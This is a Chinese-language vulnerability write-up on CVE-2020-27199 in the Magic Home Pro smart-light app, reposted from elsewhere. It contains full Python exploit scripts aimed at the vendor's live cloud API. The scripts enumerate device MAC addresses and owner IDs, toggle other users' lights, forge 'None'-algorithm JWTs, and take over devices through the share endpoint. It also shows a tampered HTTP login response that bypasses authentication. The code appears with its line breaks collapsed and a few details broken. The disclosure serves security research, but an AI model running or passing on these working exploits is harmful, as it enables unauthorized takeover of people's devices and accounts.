Magic Home Pro身份认证绕过漏洞CVE-2020-27199的示例分析
这篇文章主要介绍Magic Home Pro身份认证绕过漏洞CVE-2020-27199的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
前期准备工作
一台已Root的Android手机;
JAR重新签名,重新构建APK;
Frida证书绑定绕过;
漏洞简报
受影响应用:Magic Home Pro
产品厂商:JadeHomic
WiFi控制器产品厂商:Suzhou SmartChip Semiconductor Co.,Ltd
厂商官网:JadeHomic
受影响产品代码:Magic Home Pro
漏洞介绍
该漏洞将允许任何经过身份验证的用户使用其当前授权级别,通过调用/app/getBindedUserListByMacAddress/ZG001?macAddress=
通过执行上述查询请求,攻击者就可以利用指向/app/sendCommandBatch/ZG001 API的未授权POST请求、新枚举的Mac地址和兼容的十六进制命令71230fa3(ON)及71240fa4(OFF)来向远程节点发送命令了。
JWT伪造
初始枚举完成后,攻击者还可以使用JWT Payload数据中的userID和uniID伪造JWT,本质上来说应该是可以将令牌降级为使用JWT Header字段中的"None"算法(签名绕过漏洞)。在该漏洞的帮助下,攻击者将能够通过向/app/shareDevice/ZG001发起远程API调用并使用friendUserID这个JSON参数来将目标设备添加至攻击者的设备列表中,从而实现攻击,此时攻击者将能够完全获取目标设备的控制权限。
漏洞类型
绕过身份验证
信息披露
未经授权的访问
横向权限提升
攻击向量
需要经过身份验证的用户
现有终端系统的成功枚举
随后将批处理命令发送到远程节点
设备接管
绕过身份验证
节点枚举和批处理命令漏洞利用PoC
我们的PoC将返回MAC地址范围内的最后字节进行枚举并返回结果,如果你需要的话,你也可以测试"远程执行"的效果。
import requestsimport jsonimport osfrom colorama import initfrom colorama import Fore, Back, Styleimport re '''First Stage AuthenticationSecond Stage EnumerateThird Stage Remote Execute''' global found_macaddressesfound_macaddresses = []global outtahereouttahere = ""q = "q"global token def turnOn(target, token): urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001" array = { "dataCommandItems":[ {"hexData":"71230fa3","macAddress":target} ] } data = json.dumps(array) headersOn = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } print (Fore.WHITE + "[+] Sending Payload ...") response = requests.post(urlOn, data=data, headers=headersOn) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On") else: print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}") def turnOff(target, token): urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001" array = { "dataCommandItems":[ {"hexData":"71240fa4","macAddress":target} ] } data = json.dumps(array) headersOff = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } print (Fore.WHITE + "[+] Sending Payload ...") response = requests.post(urlOff, data=data, headers=headersOff) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off") else: print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}") def lighItUp(target, token): outtahere = "" q = "q" if len(str(target)) < 12: print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL) elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()): while outtahere.lower() != q.lower(): if outtahere == "0": turnOn(target, token) elif outtahere == "1": turnOff(target, token) outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL) def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001" data = { "userID":"", "password":" ", "clientID":"" } headersAuth = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } # First Stage Authenticate os.system('clear') print (Fore.WHITE + "[+] Authenticating ...") response = requests.post(urlAuth, json=data, headers=headersAuth) resJsonAuth = response.json() token = (resJsonAuth['token']) # Second Stage Enumerate print (Fore.WHITE + "[+] Enumerating ...") macbase = "C82E475DCE" macaddress = [] a = ["d" % x for x in range(100)] for num in a: macaddress.append(macbase+num) with open('loot.txt', 'w') as f: for mac in macaddress: urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001" params = { "macAddress":mac } headersEnum = { "User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Content-Type": "application/json; charset=utf-8", "Accept": "application/json", "token": token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } response = requests.get(urlEnum, params=params, headers=headersEnum) resJsonEnum = response.json() data = (resJsonEnum['data']) if not data: pass elif data: found_macaddresses.append(mac) print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}") f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}\n") else: print (Fore.RED + "[-] No results found!") print(Style.RESET_ALL) if not found_macaddresses: print (Fore.RED + "[-] No MAC addresses retrieved") elif found_macaddresses: attackboolean = input(Fore.BLUE + "Would you like to Light It Up ? (y/N): " + Style.RESET_ALL) if (attackboolean.upper() == 'Y'): target = input(Fore.RED + "Enter a target device mac address: " + Style.RESET_ALL) lighItUp(target, token) elif (attackboolean.upper() == 'N'): print (Fore.CYAN + "Sometimes, belief isn't about what we can see. It's about what we can't."+ Style.RESET_ALL) else: print (Fore.CYAN + "The human eye is a wonderful device. With a little effort, it can fail to see even the most glaring injustice." + Style.RESET_ALL) if __name__ == "__main__":Main()
枚举结果
令牌伪造PoC
攻击者可以使用枚举成功后返回的userID和uniqID,并利用这个令牌伪造PoC来生成一个新的已签名令牌并绕过JWT。
#!/usr/local/bin/python3 import url64import requestsimport jsonimport sysimport osfrom colorama import initfrom colorama import Fore, Back, Styleimport reimport timefrom wsgiref.handlers import format_date_timefrom datetime import datetimefrom time import mktime now = datetime.now()stamp = mktime(now.timetuple()) '''HTTP/1.1 200Server: nginx/1.10.3Content-Type: application/json;charset=UTF-8Connection: close "{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http:\/\/wifij01us.magichue.net\/app\/ota\/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\"\",\"userEmail\":\"\",\"userUniID\":\"\"},\"token\":\"\"}"''' def Usage(): print (f"Usage: {sys.argv[0]}") def Main(user, uniqid): os.system('clear') print ("[+] Encoding ...") print ("[+] Bypass header created!") print ("HTTP/1.1 200") print ("Server: nginx/1.10.3") print ("Date: "+str(format_date_time(stamp))+"") print ("Content-Type: application/json;charset=UTF-8") print ("Connection: close\r\n\r\n") jwt_header = '{"typ": "JsonWebToken","alg": "None"}' jwt_data = '{"userID": "'+user+'", "uniID": "'+uniqid+'","cdpid": "ZG001","clientID": "","serverCode": "US","expireDate": 1618264850608,"refreshDate": 1613080850608,"loginDate": 1602712850608}' jwt_headerEncoded = url64.encode(jwt_header.strip()) jwt_dataEncoded = url64.encode(jwt_data.strip()) jwtcombined = (jwt_headerEncoded.strip()+"."+jwt_dataEncoded.strip()+".") print ("{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http://wifij01us.magichue.net/app/ota/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\""+user+"\",\"userEmail\":\""+user+"\",\"userUniID\":\""+uniqid+"\"},\"token\":\""+jwtcombined+"\"}") if __name__ == "__main__": if len(sys.argv) < 3: Usage() else: Main(sys.argv[1], sys.argv[2])
设备接管PoC
攻击者可以利用该漏洞并使用攻击者的邮件(用于接管目标帐户的注册帐户)、目标用户邮件(要接管的目标帐户)、目标设备Mac地址(与目标电子邮件地址关联)和伪造的令牌来接管目标设备。
#!/usr/local/bin/python3 import url64import requestsimport jsonimport sysimport osfrom colorama import initfrom colorama import Fore, Back, Styleimport re def Usage(): print (f"Usage: {sys.argv[0]}") def Main(): attacker_email = sys.argv[1] target_email = sys.argv[2] target_mac = sys.argv[3] forged_token = sys.argv[4] os.system('clear') print (Fore.WHITE + "[+] Sending Payload ...") url = "https://wifij01us.magichue.net/app/shareDevice/ZG001" array = {"friendUserID":attacker_email, "macAddress":target_mac} data = json.dumps(array) headers = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":forged_token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } response = requests.post(url, data=data, headers=headers) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Target is now yours ... " + Style.RESET_ALL) else: print (Fore.RED + "[-] Failed to take over target !" + Style.RESET_ALL) if __name__ == "__main__": if len(sys.argv) < 5: Usage() else: Main()
成功的POST请求/响应交换样例
POST Request POST /app/shareDevice/ZG001 HTTP/1.1User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)Accept-Language: en-USAccept: application/jsontoken:Content-Type: application/json; charset=utf-8Content-Length: 72Host: wifij01us.magichue.netConnection: closeAccept-Encoding: gzip, deflate {"friendUserID":" ","macAddress":" "} Response HTTP/1.1 200Server: nginx/1.10.3Date: Tue, 07 Jul 2020 05:31:33 GMTContent-Type: application/json;charset=UTF-8Connection: closeContent-Length: 31 {"code":0,"msg":"","data":true}
认证绕过(Magic Home Pro)(CVE-2020-27199)
利用JSON令牌伪造以及基于上述枚举的收集信息(即目标用户的电子邮件、ClientID和UniqID),攻击者可以通过篡改HTTP响应绕过移动应用程序的身份验证过程,从而获得应用程序的非授权权限。
攻击者利用目标用户的电子邮件地址、任意密码和客户端来以目标用户身份使用Magic Home Pro应用程序。
然后,攻击者可以使用步骤1中的详细信息操作HTTP响应,该步骤将允许攻击者实现身份认证绕过。
Original HTTP Login Request via Magic Home Pro Mobile app POST /app/login/ZG001 HTTP/1.1User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)Accept-Language: en-USAccept: application/jsontoken:Content-Type: application/json; charset=utf-8Content-Length: 117Host: wifij01us.magichue.netConnection: closeAccept-Encoding: gzip, deflate {"userID":"","password":" ","clientID":" "} Original HTTP Response HTTP/1.1 200Server: nginx/1.10.3Date: Thu, 08 Oct 2020 00:08:45 GMTContent-Type: application/json;charset=UTF-8Connection: closeContent-Length: 37 {"code":10033,"msg":"Password error"} Edited HTTP Response HTTP/1.1 200Server: nginx/1.10.3Date: Mon, 06 Jul 2020 12:32:02 GMTContent-Type: application/json;charset=UTF-8Connection: closeContent-Length: 907 {"code":0,"msg":"","data":{"webApi":"wifij01us.magichue.net/app","webPathOta":"http://wifij01us.magichue.net/app/ota/download","tcpServerController":"TCP,8816,ra8816us02.magichue.net","tcpServerBulb":"TCP,8815,ra8815us02.magichue.net","tcpServerControllerOld":"TCP,8806,mhc8806us.magichue.net","tcpServerBulbOld":"TCP,8805,mhb8805us.magichue.net","sslMqttServer":"ssl://192.168.0.112:1883","serverName":"Global","serverCode":"US","userName":" ","userEmail":" ","userUniID":" "},"token":" "}
以上是"Magic Home Pro身份认证绕过漏洞CVE-2020-27199的示例分析"这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注行业资讯频道!